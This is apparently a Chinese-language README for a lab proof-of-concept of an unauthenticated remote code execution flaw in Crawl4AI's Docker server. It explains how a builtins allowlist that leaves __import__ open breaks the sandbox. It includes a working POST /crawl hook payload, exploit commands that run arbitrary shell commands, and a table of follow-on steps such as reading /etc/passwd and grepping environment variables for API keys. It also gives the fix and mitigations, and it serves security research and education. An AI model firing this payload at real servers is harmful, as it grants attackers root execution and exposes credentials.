
hooks 实现 Crawl4AI 未认证 RCE(GHSA-5882-5rx9-xgxp)CVSS 10.0 · 未认证 RCE · CWE-94(代码注入) 在 Crawl4AI(< 0.8.0)的 Docker 服务器上无需认证即可远程执行代码, 滥用
POST /crawl端点的hooks参数。POST 中的单个 JSON 即可在容器内 以 root 身份执行 Python。
这是一个实验室 PoC,自包含且可复现,用于安全研究和教育目的。
POST /crawl 端点接受 hooks.code.<evento> 字段中的任意 Python 代码。该代码在一个“自制沙箱”——一个受限的 builtins 字典——中通过 exec() 执行。只不过 __import__ 被留在了允许列表(allowlist)中,从而可以调用 __import__('os').system(...),彻底击溃整个沙箱。
POST /crawl
{
"urls": ["https://example.com"],
"hooks": {
"code": {
"on_page_context_created":
"async def hook(page, context, **kwargs):\n __import__('os').system('id')\n return page"
}
}
}
由于官方部署默认关闭 JWT,且容器以 root 身份运行,结果就是未认证的 root RCE。
这个沙箱看起来是有效的:open、eval、exec 均已被移除,因此一个天真的攻击(open('/etc/passwd'))会被阻止。这制造了虚假的安全感。但只需一个被遗忘的危险 builtin(__import__),就能导入整个标准库(os、subprocess、socket),allowlist 就此沦为摆设。Builtins 允许列表并不是沙箱。
CVE-2026-26216/
├── README.md
├── docker-compose.yml # sobe o servidor vulnerável
├── vulnerable-app/
│ ├── Dockerfile # imagem que roda como root (igual à oficial)
│ ├── requirements.txt
│ ├── server.py # FastAPI: POST /crawl sem auth
│ └── hook_manager.py # o sandbox fraco (a linha vulnerável está aqui)
└── exploit/
└── exploit.py # exploit Python (só stdlib)
保真度说明。
vulnerable-app/是对 Crawl4AI 漏洞代码路径的精简复刻(不启动 Chromium/Playwright),使 PoC 轻量且 100% 可复现。沙箱行为和 payload 结构均参照官方公告 GHSA-5882-5rx9-xgxp。漏洞代码行已标注在vulnerable-app/hook_manager.py中。
# 1. sobe o alvo
docker compose up -d --build
# 2. demonstração completa
python3 exploit/exploit.py --target http://localhost:11235 --demo
# 3. comando arbitrário
python3 exploit/exploit.py --target http://localhost:11235 --cmd "id; hostname; env"
# 4. derruba
docker compose down -v
自此之后:内网横向移动、窃取云凭证、持久化等。
OPENAI_API_KEY、内部令牌、容器 secrets。而这一切都无需认证。
已在 Crawl4AI 0.8.0 中修复:
__import__(以及 eval/exec/open)已从允许的 builtins 中移除。CRAWL4AI_HOOKS_ENABLED=true通用缓解措施:
crawl4ai >= 0.8.0。本材料用于经授权的安全研究和教育。请仅在您拥有或已获得书面明确测试许可的系统上使用。
| # | 操作 | 影响 |
|---|
| 1 | 直接 open('/etc/passwd') | 被沙箱阻止(虚假的安全感) |
| 2 | __import__('subprocess') + id/whoami | 以 root 身份 RCE |
| 3 | 通过 shell 执行 cat /etc/passwd | 任意文件读取 |
| 4 | env | grep KEY | 窃取 API 密钥 / 令牌 |
| 5 | echo ... > /tmp/PWNED | 任意文件写入 |